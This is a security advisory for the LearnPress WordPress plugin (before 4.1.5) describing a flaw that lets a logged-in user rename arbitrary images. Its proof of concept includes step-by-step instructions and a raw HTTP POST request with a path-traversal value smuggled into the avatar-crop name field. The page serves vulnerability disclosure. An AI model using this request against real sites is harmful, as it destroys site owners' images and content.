WordPress Plugin Vulnerabilities

LearnPress < 4.1.5 - Arbitrary Image Renaming

Description

Users of the plugin can upload an image as a profile avatar after the registration. After this process the user crops and saves the image. Then a "POST" request that contains user supplied name of the image is sent to the server for renaming and cropping of the image. As a result of this request, the name of the user-supplied image is changed with a MD5 value. This process can be conducted only when type of the image is JPG or PNG. An attacker can use this vulnerability in order to rename an arbitrary image file. By doing this, they could destroy the design of the web site.

Some examples of the malicious actions:

- Destroying of banner of a web site
- Destroying of user avatars
- Destroying of post images
- Destroying of button/app images etc.

Proof of Concept

1. Register and login to the learnpress system (user profile needs to be enabled in settings).
2. Go to the profile page and upload an avatar image: https://<learnpress-website>/lp-profile/<your-username>/settings/avatar/
3. While saving the image, intercept the POST request by a local proxy tool such as Burpsuite.
4. Change the value of the `lp-user-avatar-crop[name]` parameter to an arbitrary image file path that is in the website (example, /2021/01/image.png or /../../image.png). The path is relative to "/wp-content/uploads/".
5. Forward the intercepted request and check the existence of the image file given in Step 4.
6. You will see that the image can not be found. Because the name of it is renamed.

POST /lp-profile/<username>/settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1
Host: 127.0.0.1:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 242
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/
Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
DNT: 1
Sec-GPC: 1

lp-user-avatar-crop%5Bname%5D=%2f..%2f..%2fimage.jpg&lp-user-avatar-crop%5Bwidth%5D=250&lp-user-avatar-crop%5Bheight%5D=250&lp-user-avatar-crop%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom=yes

Affects Plugins

Fixed in 4.1.5

References

Classification

Type
FILE DELETION
CWE

Miscellaneous

Original Researcher
Ceylan Bozogullarindan
Submitter
Ceylan Bozogullarindan
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-01-26 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other